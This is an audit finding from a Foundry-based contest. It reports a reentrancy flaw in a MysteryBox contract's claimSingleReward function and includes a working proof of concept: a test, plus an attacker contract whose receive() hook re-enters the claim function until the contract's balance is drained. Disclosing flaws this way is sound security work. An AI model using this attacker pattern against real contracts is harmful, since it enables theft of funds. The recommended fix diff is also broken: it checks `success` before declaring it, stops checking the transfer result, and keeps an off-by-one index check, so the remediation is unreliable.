Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `claimSingleReward`

Summary

Reentrancy in claimSingleReward allowing user to drain the contract balance

Vulnerability Details

In claimSingleReward function it make external call to arbirtary address then update the state of the user rewardsOwned so the user can reenter the function before the state update and claim rewards multiple times

  • PoC

    function testReentrancyInClaimRewards() public {
    ReentrancyAttacker REattacker = new ReentrancyAttacker(mysteryBox);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 0.1 ether);
    vm.deal(address(mysteryBox), 10 ether);
    assertEq(address(mysteryBox).balance, 10 ether);
    assertEq(attacker.balance, 0.1 ether);
    vm.startPrank(attacker);
    vm.warp(10);
    REattacker.attack{value: 0.1 ether}();
    assertEq(address(mysteryBox).balance, 0);
    assertEq(address(REattacker).balance, 10 ether + 0.1 ether);
    }
contract ReentrancyAttacker {
MysteryBox public MB;
constructor(MysteryBox _MB) {
MB = _MB;
}
function attack() external payable {
MB.buyBox{value: 0.1 ether}();
MB.openBox();
MB.claimSingleReward(0);
}
function stealmoney() internal {
if (address(MB).balance > 0) {
MB.claimSingleReward(0);
}
}
receive() external payable {
stealmoney();
}
}

Impact

  • Draining contract balance

Tools Used

Manual Review

Recommendations

  1. Use OZ reentrancy guard

  2. Follow CEI pattern as following

function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
- (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
+ delete rewardsOwned[msg.sender][_index];
+ (bool success,) = payable(msg.sender).call{value: value}("");
}
Updates

Appeal created

inallhonesty Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.